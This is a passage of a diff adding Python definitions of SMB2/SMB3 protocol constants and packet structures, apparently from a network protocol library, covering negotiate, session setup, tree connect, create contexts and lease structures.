+SMB2_SESSION_FLAG_IS_NULL        = 0x02
+SMB2_SESSION_FLAG_ENCRYPT_DATA   = 0x04
+
+# SMB2_TREE_CONNECT 
+# Types
+SMB2_SHARE_TYPE_DISK   = 0x1
+SMB2_SHARE_TYPE_PIPE   = 0x2
+SMB2_SHARE_TYPE_PRINT  = 0x3
+
+# Share Flags
+SMB2_SHAREFLAG_MANUAL_CACHING              = 0x00000000
+SMB2_SHAREFLAG_AUTO_CACHING                = 0x00000010
+SMB2_SHAREFLAG_VDO_CACHING                 = 0x00000020
+SMB2_SHAREFLAG_NO_CACHING                  = 0x00000030
+SMB2_SHAREFLAG_DFS                         = 0x00000001
+SMB2_SHAREFLAG_DFS_ROOT                    = 0x00000002
+SMB2_SHAREFLAG_RESTRICT_EXCLUSIVE_OPENS    = 0x00000100
+SMB2_SHAREFLAG_FORCE_SHARED_DELETE         = 0x00000200
+SMB2_SHAREFLAG_ALLOW_NAMESPACE_CACHING     = 0x00000400
+SMB2_SHAREFLAG_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800
+SMB2_SHAREFLAG_FORCE_LEVELII_OPLOCK        = 0x00001000
+SMB2_SHAREFLAG_ENABLE_HASH_V1              = 0x00002000
+SMB2_SHAREFLAG_ENABLE_HASH_V2              = 0x00004000
+SMB2_SHAREFLAG_ENCRYPT_DATA                = 0x00008000
+
+# Capabilities
+SMB2_SHARE_CAP_DFS                         = 0x00000008
+SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY     = 0x00000010
+SMB2_SHARE_CAP_SCALEOUT                    = 0x00000020
+SMB2_SHARE_CAP_CLUSTER                     = 0x00000040
+
+# SMB_CREATE 
+# Oplocks
+SMB2_OPLOCK_LEVEL_NONE       = 0x00
+SMB2_OPLOCK_LEVEL_II         = 0x01
+SMB2_OPLOCK_LEVEL_EXCLUSIVE  = 0x08
+SMB2_OPLOCK_LEVEL_BATCH      = 0x09
+SMB2_OPLOCK_LEVEL_LEASE      = 0xFF
+
+# Impersonation Level
+SMB2_IL_ANONYMOUS       = 0x00000000
+SMB2_IL_IDENTIFICATION  = 0x00000001
+SMB2_IL_IMPERSONATION   = 0x00000002
+SMB2_IL_DELEGATE        = 0x00000003
+
+# File Attributes
+FILE_ATTRIBUTE_ARCHIVE             = 0x00000020
+FILE_ATTRIBUTE_COMPRESSED          = 0x00000800
+FILE_ATTRIBUTE_DIRECTORY           = 0x00000010
+FILE_ATTRIBUTE_ENCRYPTED           = 0x00004000
+FILE_ATTRIBUTE_HIDDEN              = 0x00000002
+FILE_ATTRIBUTE_NORMAL              = 0x00000080
+FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000
+FILE_ATTRIBUTE_OFFLINE             = 0x00001000
+FILE_ATTRIBUTE_READONLY            = 0x00000001
+FILE_ATTRIBUTE_REPARSE_POINT       = 0x00000400
+FILE_ATTRIBUTE_SPARSE_FILE         = 0x00000200
+FILE_ATTRIBUTE_SYSTEM              = 0x00000004
+FILE_ATTRIBUTE_TEMPORARY           = 0x00000100
+FILE_ATTRIBUTE_INTEGRITY_STREAM    = 0x00000800
+FILE_ATTRIBUTE_NO_SCRUB_DATA       = 0x00020000
+
+# Share Access
+FILE_SHARE_READ         = 0x00000001
+FILE_SHARE_WRITE        = 0x00000002
+FILE_SHARE_DELETE       = 0x00000004
+
+# Create Disposition
+FILE_SUPERSEDE          = 0x00000000
+FILE_OPEN               = 0x00000001
+FILE_CREATE             = 0x00000002
+FILE_OPEN_IF            = 0x00000003
+FILE_OVERWRITE          = 0x00000004
+FILE_OVERWRITE_IF       = 0x00000005
+
+# Create Options
+FILE_DIRECTORY_FILE            = 0x00000001
+FILE_WRITE_THROUGH             = 0x00000002
+FILE_SEQUENTIAL_ONLY           = 0x00000004
+FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008
+FILE_SYNCHRONOUS_IO_ALERT      = 0x00000010
+FILE_SYNCHRONOUS_IO_NONALERT   = 0x00000020
+FILE_NON_DIRECTORY_FILE        = 0x00000040
+FILE_COMPLETE_IF_OPLOCKED      = 0x00000100
+FILE_NO_EA_KNOWLEDGE           = 0x00000200
+FILE_RANDOM_ACCESS             = 0x00000800
+FILE_DELETE_ON_CLOSE           = 0x00001000
+FILE_OPEN_BY_FILE_ID           = 0x00002000
+FILE_OPEN_FOR_BACKUP_INTENT    = 0x00004000
+FILE_NO_COMPRESSION            = 0x00008000
+FILE_RESERVE_OPFILTER          = 0x00100000
+FILE_OPEN_REPARSE_POINT        = 0x00200000
+FILE_OPEN_NO_RECALL            = 0x00400000
+FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000
+
+# File Access Mask / Desired Access
+FILE_READ_DATA         = 0x00000001
+FILE_WRITE_DATA        = 0x00000002
+FILE_APPEND_DATA       = 0x00000004
+FILE_READ_EA           = 0x00000008
+FILE_WRITE_EA          = 0x00000010
+FILE_EXECUTE           = 0x00000020
+FILE_READ_ATTRIBUTES   = 0x00000080
+FILE_WRITE_ATTRIBUTES  = 0x00000100
+DELETE                 = 0x00010000
+READ_CONTROL           = 0x00020000
+WRITE_DAC              = 0x00040000
+WRITE_OWNER            = 0x00080000
+SYNCHRONIZE            = 0x00100000
+ACCESS_SYSTEM_SECURITY = 0x01000000
+MAXIMUM_ALLOWED        = 0x02000000
+GENERIC_ALL            = 0x10000000
+GENERIC_EXECUTE        = 0x20000000
+GENERIC_WRITE          = 0x40000000
+GENERIC_READ           = 0x80000000
+
+# Directory Access Mask 
+FILE_LIST_DIRECTORY    = 0x00000001
+FILE_ADD_FILE          = 0x00000002
+FILE_ADD_SUBDIRECTORY  = 0x00000004
+FILE_TRAVERSE          = 0x00000020
+FILE_DELETE_CHILD      = 0x00000040
+
+# Create Contexts
+SMB2_CREATE_EA_BUFFER                     = 0x45787441
+SMB2_CREATE_SD_BUFFER                     = 0x53656344
+SMB2_CREATE_DURABLE_HANDLE_REQUEST        = 0x44486e51
+SMB2_CREATE_DURABLE_HANDLE_RECONNECT      = 0x44486e43
+SMB2_CREATE_ALLOCATION_SIZE               = 0x416c5369
+SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST  = 0x4d784163
+SMB2_CREATE_TIMEWARP_TOKEN                = 0x54577270
+SMB2_CREATE_QUERY_ON_DISK_ID              = 0x51466964
+SMB2_CREATE_REQUEST                       = 0x52714c73
+SMB2_CREATE_REQUEST_LEASE_V2              = 0x52714c73
+SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2     = 0x44483251
+SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2   = 0x44483243
+SMB2_CREATE_APP_INSTANCE_ID               = 0x45BCA66AEFA7F74A9008FA462E144D74
+
+# Flags
+SMB2_CREATE_FLAG_REPARSEPOINT  = 0x1
+FILE_NEED_EA                   = 0x80
+
+# CreateAction
+FILE_SUPERSEDED    = 0x00000000
+FILE_OPENED        = 0x00000001
+FILE_CREATED       = 0x00000002
+FILE_OVERWRITTEN   = 0x00000003
+
+# SMB2_CREATE_REQUEST_LEASE states
+SMB2_LEASE_NONE            = 0x00
+SMB2_LEASE_READ_CACHING    = 0x01
+SMB2_LEASE_HANDLE_CACHING  = 0x02
+SMB2_LEASE_WRITE_CACHING   = 0x04
+
+# SMB2_CREATE_REQUEST_LEASE_V2 Flags
+SMB2_LEASE_FLAG_PARENT_LEASE_KEY_SET = 0x4
+
+# SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 Flags
+SMB2_DHANDLE_FLAG_PERSISTENT = 0x02
+
+# SMB2_CLOSE
+# Flags
+SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB  = 0x0001
+
+# SMB2_READ
+# Channel
+SMB2_CHANNEL_NONE     = 0x00
+SMB2_CHANNEL_RDMA_V1  = 0x01
+
+# SMB2_WRITE
+# Flags
+SMB2_WRITEFLAG_WRITE_THROUGH = 0x01
+
+# Lease Break Notification
+SMB2_NOTIFY_BREAK_LEASE_FLAG_ACK_REQUIRED  = 0x01
+
+# SMB_LOCK
+# Flags
+SMB2_LOCKFLAG_SHARED_LOCK       = 0x01
+SMB2_LOCKFLAG_EXCLUSIVE_LOCK    = 0x02
+SMB2_LOCKFLAG_UNLOCK            = 0x04
+SMB2_LOCKFLAG_FAIL_IMMEDIATELY  = 0x10
+
+# SMB IOCTL
+# Control Codes
+FSCTL_DFS_GET_REFERRALS              = 0x00060194
+FSCTL_PIPE_PEEK                      = 0x0011400C
+FSCTL_PIPE_WAIT                      = 0x00110018
+FSCTL_PIPE_TRANSCEIVE                = 0x0011C017
+FSCTL_SRV_COPYCHUNK                  = 0x001440F2
+FSCTL_SRV_ENUMERATE_SNAPSHOTS        = 0x00144064
+FSCTL_SRV_REQUEST_RESUME_KEY         = 0x00140078
+FSCTL_SRV_READ_HASH                  = 0x001441bb
+FSCTL_SRV_COPYCHUNK_WRITE            = 0x001480F2
+FSCTL_LMR_REQUEST_RESILIENCY         = 0x001401D4
+FSCTL_QUERY_NETWORK_INTERFACE_INFO   = 0x001401FC
+FSCTL_SET_REPARSE_POINT              = 0x000900A4
+FSCTL_DELETE_REPARSE_POINT           = 0x000900AC
+FSCTL_DFS_GET_REFERRALS_EX           = 0x000601B0
+FSCTL_FILE_LEVEL_TRIM                = 0x00098208
+FSCTL_VALIDATE_NEGOTIATE_INFO        = 0x00140204
+
+# Flags
+SMB2_0_IOCTL_IS_FSCTL  = 0x1
+
+# SRV_READ_HASH
+# Type
+SRV_HASH_TYPE_PEER_DIST  = 0x01
+
+# Version
+SRV_HASH_VER_1  = 0x1
+SRV_HASH_VER_2  = 0x2
+
+# Retrieval Type
+SRV_HASH_RETRIEVE_HASH_BASED  = 0x01
+SRV_HASH_RETRIEVE_FILE_BASED  = 0x02
+
+# NETWORK_INTERFACE_INFO
+# Capabilities
+RSS_CAPABLE  = 0x01
+RDMA_CAPABLE = 0x02
+
+# SMB2_QUERY_DIRECTORIES
+# Information Class
+FILE_DIRECTORY_INFORMATION         = 0x01
+FILE_FULL_DIRECTORY_INFORMATION    = 0x02
+FILEID_FULL_DIRECTORY_INFORMATION  = 0x26
+FILE_BOTH_DIRECTORY_INFORMATION    = 0x03
+FILEID_BOTH_DIRECTORY_INFORMATION  = 0x25
+FILENAMES_INFORMATION              = 0x0C
+
+# Flags
+SMB2_RESTART_SCANS        = 0x01
+SMB2_RETURN_SINGLE_ENTRY  = 0x02
+SMB2_INDEX_SPECIFIED      = 0x04
+SMB2_REOPEN               = 0x10
+
+# SMB2_CHANGE_NOTIFY
+# Flags
+SMB2_WATCH_TREE  = 0x01
+
+# Filters
+FILE_NOTIFY_CHANGE_FILE_NAME     = 0x00000001
+FILE_NOTIFY_CHANGE_DIR_NAME      = 0x00000002
+FILE_NOTIFY_CHANGE_ATTRIBUTES    = 0x00000004
+FILE_NOTIFY_CHANGE_SIZE          = 0x00000008
+FILE_NOTIFY_CHANGE_LAST_WRITE    = 0x00000010
+FILE_NOTIFY_CHANGE_LAST_ACCESS   = 0x00000020
+FILE_NOTIFY_CHANGE_CREATION      = 0x00000040
+FILE_NOTIFY_CHANGE_EA            = 0x00000080
+FILE_NOTIFY_CHANGE_SECURITY      = 0x00000100
+FILE_NOTIFY_CHANGE_STREAM_NAME   = 0x00000200
+FILE_NOTIFY_CHANGE_STREAM_SIZE   = 0x00000400
+FILE_NOTIFY_CHANGE_STREAM_WRITE  = 0x00000800
+
+# FILE_NOTIFY_INFORMATION
+# Actions
+FILE_ACTION_ADDED            = 0x00000001
+FILE_ACTION_REMOVED          = 0x00000002
+FILE_ACTION_MODIFIED         = 0x00000003
+FILE_ACTION_RENAMED_OLD_NAME = 0x00000004
+FILE_ACTION_RENAMED_NEW_NAME = 0x00000005
+
+# SMB2_QUERY_INFO
+# InfoTypes
+SMB2_0_INFO_FILE        = 0x01
+SMB2_0_INFO_FILESYSTEM  = 0x02
+SMB2_0_INFO_SECURITY    = 0x03
+SMB2_0_INFO_QUOTA       = 0x04
+
+# File Information Classes
+SMB2_SEC_INFO_00                      = 0
+SMB2_FILE_ACCESS_INFO                 = 8
+SMB2_FILE_ALIGNMENT_INFO              = 17
+SMB2_FILE_ALL_INFO                    = 18
+SMB2_FILE_ALLOCATION_INFO             = 19
+SMB2_FILE_ALTERNATE_NAME_INFO         = 21
+SMB2_ATTRIBUTE_TAG_INFO               = 35
+SMB2_FILE_BASIC_INFO                  = 4
+SMB2_FILE_BOTH_DIRECTORY_INFO         = 3
+SMB2_FILE_COMPRESSION_INFO            = 28
+SMB2_FILE_DIRECTORY_INFO              = 1
+SMB2_FILE_DISPOSITION_INFO            = 13
+SMB2_FILE_EA_INFO                     = 7
+SMB2_FILE_END_OF_FILE_INFO            = 20
+SMB2_FULL_DIRECTORY_INFO              = 2
+SMB2_FULL_EA_INFO                     = 15
+SMB2_FILE_HARDLINK_INFO               = 46
+SMB2_FILE_ID_BOTH_DIRECTORY_INFO      = 37
+SMB2_FILE_ID_FULL_DIRECTORY_INFO      = 38
+SMB2_FILE_ID_GLOBAL_TX_DIRECTORY_INFO = 50
+SMB2_FILE_INTERNAL_INFO               = 6
+SMB2_FILE_LINK_INFO                   = 11
+SMB2_FILE_MAILSLOT_QUERY_INFO         = 26
+SMB2_FILE_MAILSLOT_SET_INFO           = 27
+SMB2_FILE_MODE_INFO                   = 16
+SMB2_FILE_MOVE_CLUSTER_INFO           = 31
+SMB2_FILE_NAME_INFO                   = 9
+SMB2_FILE_NAMES_INFO                  = 12
+SMB2_FILE_NETWORK_OPEN_INFO           = 34
+SMB2_FILE_NORMALIZED_NAME_INFO        = 48
+SMB2_FILE_OBJECT_ID_INFO              = 29
+SMB2_FILE_PIPE_INFO                   = 23
+SMB2_FILE_PIPE_LOCAL_INFO             = 24
+SMB2_FILE_PIPE_REMOTE_INFO            = 25
+SMB2_FILE_POSITION_INFO               = 14
+SMB2_FILE_QUOTA_INFO                  = 32
+SMB2_FILE_RENAME_INFO                 = 10
+SMB2_FILE_REPARSE_POINT_INFO          = 33
+SMB2_FILE_SFIO_RESERVE_INFO           = 44
+SMB2_FILE_SHORT_NAME_INFO             = 45
+SMB2_FILE_STANDARD_INFO               = 5
+SMB2_FILE_STANDARD_LINK_INFO          = 54
+SMB2_FILE_STREAM_INFO                 = 22
+SMB2_FILE_TRACKING_INFO               = 36
+SMB2_FILE_VALID_DATA_LENGTH_INFO      = 39
+
+# File System Information Classes
+SMB2_FILESYSTEM_VOLUME_INFO           = 1
+SMB2_FILESYSTEM_LABEL_INFO            = 2
+SMB2_FILESYSTEM_SIZE_INFO             = 3
+SMB2_FILESYSTEM_DEVICE_INFO           = 4
+SMB2_FILESYSTEM_ATTRIBUTE_INFO        = 5
+SMB2_FILESYSTEM_CONTROL_INFO          = 6
+SMB2_FILESYSTEM_FULL_SIZE_INFO        = 7
+SMB2_FILESYSTEM_OBJECT_ID_INFO        = 8
+SMB2_FILESYSTEM_DRIVER_PATH_INFO      = 9
+SMB2_FILESYSTEM_SECTOR_SIZE_INFO      = 11
+
+# Additional information
+OWNER_SECURITY_INFORMATION  = 0x00000001
+GROUP_SECURITY_INFORMATION  = 0x00000002
+DACL_SECURITY_INFORMATION   = 0x00000004
+SACL_SECURITY_INFORMATION   = 0x00000008
+LABEL_SECURITY_INFORMATION  = 0x00000010
+
+# Flags
+SL_RESTART_SCAN         = 0x00000001
+SL_RETURN_SINGLE_ENTRY  = 0x00000002
+SL_INDEX_SPECIFIED      = 0x00000004
+
+# TRANSFORM_HEADER
+SMB2_ENCRYPTION_AES128_CCM = 0x0001
+SMB2_ENCRYPTION_AES128_GCM = 0x0002
+
+
+# STRUCtures
+# Represents a SMB2/3 Packet
+class SMBPacketBase(Structure):
+    def addCommand(self,command):
+        # Pad to 8 bytes and put the offset of another SMBPacket
+        raise Exception('Implement This!')
+
+    def isValidAnswer(self, status):
+        if self['Status'] != status:
+            from . import smb3
+            raise smb3.SessionError(self['Status'], self)
+        return True
+
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['TreeID'] = 0
+
+
+class SMB2PacketAsync(SMBPacketBase):
+    structure = (
+        ('ProtocolID','"\xfeSMB'),
+        ('StructureSize','<H=64'),
+        ('CreditCharge','<H=0'),
+        ('Status','<L=0'),
+        ('Command','<H=0'),
+        ('CreditRequestResponse','<H=0'),
+        ('Flags','<L=0'),
+        ('NextCommand','<L=0'),
+        ('MessageID','<Q=0'),
+        ('AsyncID','<Q=0'),
+        ('SessionID','<Q=0'),
+        ('Signature','16s=""'),
+        ('Data',':=""'),
+    )
+
+class SMB3PacketAsync(SMBPacketBase):
+    structure = (
+        ('ProtocolID','"\xfeSMB'),
+        ('StructureSize','<H=64'),
+        ('CreditCharge','<H=0'),
+        ('ChannelSequence','<H=0'),
+        ('Reserved','<H=0'),
+        ('Command','<H=0'),
+        ('CreditRequestResponse','<H=0'),
+        ('Flags','<L=0'),
+        ('NextCommand','<L=0'),
+        ('MessageID','<Q=0'),
+        ('AsyncID','<Q=0'),
+        ('SessionID','<Q=0'),
+        ('Signature','16s=""'),
+        ('Data',':=""'),
+    )
+
+class SMB2Packet(SMBPacketBase):
+    structure = (
+        ('ProtocolID','"\xfeSMB'),
+        ('StructureSize','<H=64'),
+        ('CreditCharge','<H=0'),
+        ('Status','<L=0'),
+        ('Command','<H=0'),
+        ('CreditRequestResponse','<H=0'),
+        ('Flags','<L=0'),
+        ('NextCommand','<L=0'),
+        ('MessageID','<Q=0'),
+        ('Reserved','<L=0'),
+        ('TreeID','<L=0'),
+        ('SessionID','<Q=0'),
+        ('Signature','16s=""'),
+        ('Data',':=""'),
+    )
+
+class SMB3Packet(SMBPacketBase):
+    structure = (
+        ('ProtocolID','"\xfeSMB'),
+        ('StructureSize','<H=64'),
+        ('CreditCharge','<H=0'),
+        ('ChannelSequence','<H=0'),
+        ('Reserved','<H=0'),
+        ('Command','<H=0'),
+        ('CreditRequestResponse','<H=0'),
+        ('Flags','<L=0'),
+        ('NextCommand','<L=0'),
+        ('MessageID','<Q=0'),
+        ('Reserved','<L=0'),
+        ('TreeID','<L=0'),
+        ('SessionID','<Q=0'),
+        ('Signature','16s=""'),
+        ('Data',':=""'),
+    )
+
+class SMB2Error(Structure):
+    structure = (
+        ('StructureSize','<H=9'),
+        ('Reserved','<H=0'),
+        ('ByteCount','<L=0'),
+        ('_ErrorData','_-ErrorData','self["ByteCount"]'),
+        ('ErrorData','"\xff'),
+    )
+
+class SMB2ErrorSymbolicLink(Structure):
+    structure = (
+        ('SymLinkLength','<L=0'),
+        ('SymLinkErrorTag','<L=0'),
+        ('ReparseTag','<L=0'),
+        ('ReparseDataLenght','<H=0'),
+        ('UnparsedPathLength','<H=0'),
+        ('SubstituteNameOffset','<H=0'),
+        ('SubstituteNameLength','<H=0'),
+        ('PrintNameOffset','<H=0'),
+        ('PrintNameLength','<H=0'),
+        ('Flags','<L=0'),
+        ('PathBuffer',':'),
+    )
+
+# SMB2_NEGOTIATE
+class SMB2Negotiate(Structure):
+    structure = (
+        ('StructureSize','<H=36'),
+        ('DialectCount','<H=0'),
+        ('SecurityMode','<H=0'),
+        ('Reserved','<H=0'),
+        ('Capabilities','<L=0'),
+        ('ClientGuid','16s=""'),
+        ('ClientStartTime','8s=""'),  # or (NegotiateContextOffset/NegotiateContextCount/Reserved2) in SMB 3.1.1
+        ('Dialects','*<H'),
+        # SMB 3.1.1
+        ('Padding',':=""'),
+        ('NegotiateContextList',':=""'),
+    )
+
+class SMB311ContextData(Structure):
+    structure = (
+        ('NegotiateContextOffset','<L=0'),
+        ('NegotiateContextCount','<H=0'),
+        ('Reserved2','<H=0'),
+    )
+class SMB2Negotiate_Response(Structure):
+    structure = (
+        ('StructureSize','<H=65'),
+        ('SecurityMode','<H=0'),
+        ('DialectRevision','<H=0'),
+        # SMB 3.1.1 only. Otherwise Reserved
+        ('NegotiateContextCount','<H=0'),
+        ('ServerGuid','16s=""'),
+        ('Capabilities','<L=0'),
+        ('MaxTransactSize','<L=0'),
+        ('MaxReadSize','<L=0'),
+        ('MaxWriteSize','<L=0'),
+        ('SystemTime','<Q=0'),
+        ('ServerStartTime','<Q=0'),
+        ('SecurityBufferOffset','<H=0'),
+        ('SecurityBufferLength','<H=0'),
+        # SMB 3.1.1 only. Otherwise Reserved
+        ('NegotiateContextOffset','<L=0'),
+        ('_AlignPad','_-AlignPad','self["SecurityBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["SecurityBufferLength"]'),
+        ('Buffer',':'),
+        ('_Padding','_-Padding', '0 if self["NegotiateContextOffset"] == 0 else (self["NegotiateContextOffset"] - '
+                                 'self["SecurityBufferOffset"] - self["SecurityBufferLength"])'),
+        ('Padding',':=""'),
+        ('_NegotiateContextList','_-NegotiateContextList', '0 if self["NegotiateContextOffset"] == 0 else '
+                                                           'len(self.rawData)-self["NegotiateContextOffset"]+64'),
+        ('NegotiateContextList',':=""'),
+    )
+
+# SMB2 NEGOTIATE_CONTEXT
+class SMB2NegotiateContext(Structure):
+    structure = (
+        ('ContextType','<H=0'),
+        ('DataLength','<H=0'),
+        ('Reserved','<L=0'),
+        ('Data',':=""'),
+    )
+
+# SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+class SMB2PreAuthIntegrityCapabilities(Structure):
+    structure = (
+        ('HashAlgorithmCount','<H=0'),
+        ('SaltLength','<H=0'),
+        ('HashAlgorithms',':=""'),
+        ('Salt',':=""'),
+    )
+
+# SMB2_ENCRYPTION_CAPABILITIES
+class SMB2EncryptionCapabilities(Structure):
+    structure = (
+        ('CipherCount','<H=0'),
+        ('Ciphers','<H=0'),
+    )
+
+# SMB2_COMPRESSION_CAPABILITIES
+class SMB2CompressionCapabilities(Structure):
+    structure = (
+        ('CompressionAlgorithmCount','<H=0'),
+        ('Padding','<H=0'),
+        ('Flags','<L=0'),
+        ('CompressionAlgorithms',':=""'),
+    )
+
+# SMB2_NETNAME_NEGOTIATE_CONTEXT_ID
+class SMB2NetNameNegotiateContextID(Structure):
+    structure = (
+        ('NetName',':=""'),
+    )
+
+# SMB2_SESSION_SETUP
+class SMB2SessionSetup(Structure):
+    SIZE = 24
+    structure = (
+        ('StructureSize','<H=25'),
+        ('Flags','<B=0'),
+        ('SecurityMode','<B=0'),
+        ('Capabilities','<L=0'),
+        ('Channel','<L=0'),
+        ('SecurityBufferOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('SecurityBufferLength','<H=0'),
+        ('PreviousSessionId','<Q=0'),
+        ('_AlignPad','_-AlignPad','self["SecurityBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["SecurityBufferLength"]'),
+        ('Buffer',':'),
+    )
+
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+    def getData(self):
+        #self['AlignPad'] = '\x00' * ((8 - ((24 + SMB2_PACKET_SIZE) & 7)) & 7)
+        #self['SecurityBufferOffset'] = 24 + SMB2_PACKET_SIZE +len(self['AlignPad'])
+        #self['SecurityBufferLength'] += len(self['AlignPad'])
+        return Structure.getData(self)
+
+
+class SMB2SessionSetup_Response(Structure):
+    structure = (
+        ('StructureSize','<H=9'),
+        ('SessionFlags','<H=0'),
+        ('SecurityBufferOffset','<H=0'),
+        ('SecurityBufferLength','<H=0'),
+        ('_AlignPad','_-AlignPad','self["SecurityBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["SecurityBufferLength"]'),
+        ('Buffer',':'),
+    )
+
+# SMB2_LOGOFF
+class SMB2Logoff(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+
+class SMB2Logoff_Response(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+# SMB2_TREE_CONNECT
+class SMB2TreeConnect(Structure):
+    SIZE = 8
+    structure = (
+        ('StructureSize','<H=9'),
+        ('Reserved','<H=0'),
+        ('PathOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('PathLength','<H=0'),
+        ('_AlignPad','_-AlignPad','self["PathOffset"] - (64 + self.SIZE - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["PathLength"]'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+class SMB2TreeConnect_Response(Structure):
+    structure = (
+        ('StructureSize','<H=16'),
+        ('ShareType','<B=0'),
+        ('Reserved','<B=0'),
+        ('ShareFlags','<L=0'),
+        ('Capabilities','<L=0'),
+        ('MaximalAccess','<L=0'),
+    )
+
+# SMB2_TREE_DISCONNECT
+class SMB2TreeDisconnect(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+class SMB2TreeDisconnect_Response(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+# SMB2_CREATE
+class SMB2Create(Structure):
+    SIZE = 56
+    structure = (
+        ('StructureSize','<H=57'),
+        ('SecurityFlags','<B=0'),
+        ('RequestedOplockLevel','<B=0'),
+        ('ImpersonationLevel','<L=0'),
+        ('SmbCreateFlags','<Q=0'),
+        ('Reserved','<Q=0'),
+        ('DesiredAccess','<L=0'),
+        ('FileAttributes','<L=0'),
+        ('ShareAccess','<L=0'),
+        ('CreateDisposition','<L=0'),
+        ('CreateOptions','<L=0'),
+        ('NameOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('NameLength','<H=0'),
+        ('CreateContextsOffset','<L=0'),
+        ('CreateContextsLength','<L=0'),
+        ('_AlignPad','_-AlignPad','self["NameOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["CreateContextsLength"]+self["NameLength"]'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+class SMB2CreateContext(Structure):
+     structure = (
+         ('Next','<L=0'),
+         ('NameOffset','<H=0'),
+         ('NameLength','<H=0'),
+         ('Reserved','<H=0'),
+         ('DataOffset','<H=0'),
+         ('DataLength','<L=0'),
+         ('_Buffer','_-Buffer','self["DataLength"]+self["NameLength"]'),
+         ('Buffer',':'),
+     )
+
+class SMB2_FILEID(Structure):
+    structure = (
+        ('Persistent','<Q=0'),
+        ('Volatile','<Q=0'),
+    )
+
+class SMB2Create_Response(Structure):
+    structure = (
+        ('StructureSize','<H=89'),
+        ('OplockLevel','<B=0'),
+        ('Flags','<B=0'),
+        ('CreateAction','<L=0'),
+        ('CreationTime','<Q=0'),
+        ('LastAccessTime','<Q=0'),
+        ('LastWriteTime','<Q=0'),
+        ('ChangeTime','<Q=0'),
+        ('AllocationSize','<Q=0'),
+        ('EndOfFile','<Q=0'),
+        ('FileAttributes','<L=0'),
+        ('Reserved2','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('CreateContextsOffset','<L=0'),
+        ('CreateContextsLength','<L=0'),
+        ('_AlignPad','_-AlignPad','self["CreateContextsOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["CreateContextsLength"]'),
+        ('Buffer',':'),
+    )
+
+class FILE_FULL_EA_INFORMATION(Structure):
+    structure = (
+        ('NextEntryOffset','<L=0'),
+        ('Flags','<B=0'),
+        ('EaNameLength','<B=0'),
+        ('EaValueLength','<H=0'),
+        ('_EaName','_-EaName','self["EaNameLength"]'),
+        ('EaName',':'),
+        ('_EaValue','_-EaValue','self["EaValue"]'),
+        ('EaValue',':'),
+    )
+
+
+class SMB2_CREATE_DURABLE_HANDLE_RECONNECT(Structure):
+    structure = (
+        ('Data',':',SMB2_FILEID),
+    )
+
+class SMB2_CREATE_DURABLE_HANDLE_REQUEST(Structure):
+    structure = (
+        ('DurableRequest','16s=""'),
+    )
+
+class SMB2_CREATE_DURABLE_HANDLE_RESPONSE(Structure):
+    structure = (
+        ('Reserved','<Q=0'),
+    )
+
+class SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST(Structure):
+    structure = (
+        ('Timestamp','<Q=0'),
+    )
+
+class SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(Structure):
+    structure = (
+        ('QueryStatus','<L=0'),
+        ('MaximalAccess','<L=0'),
+    )
+
+class SMB2_CREATE_ALLOCATION_SIZE(Structure):
+    structure = (
+        ('AllocationSize','<Q=0'),
+    )
+
+class SMB2_CREATE_TIMEWARP_TOKEN(Structure):
+    structure = (
+        ('Timestamp','<Q=0'),
+    )
+
+class SMB2_CREATE_REQUEST_LEASE(Structure):
+    structure = (
+        ('LeaseKey','16s=""'),
+        ('LeaseState','<L=0'),
+        ('LeaseFlags','<L=0'),
+        ('LeaseDuration','<Q=0'),
+    )
+
+SMB2_CREATE_RESPONSE_LEASE = SMB2_CREATE_REQUEST_LEASE
+
+class SMB2_CREATE_REQUEST_LEASE_V2(Structure):
+    structure = (
+        ('LeaseKey','16s=""'),
+        ('LeaseState','<L=0'),
+        ('Flags','<L=0'),
+        ('LeaseDuration','<Q=0'),
+        ('ParentLeaseKey','16s=""'),
+        ('Epoch','<H=0'),
+        ('Reserved','<H=0'),
+    )
+
+SMB2_CREATE_RESPONSE_LEASE_V2 = SMB2_CREATE_REQUEST_LEASE_V2
+
+class SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(Structure):
+    structure = (
+        ('Timeout','<L=0'),
+        ('Flags','<L=0'),
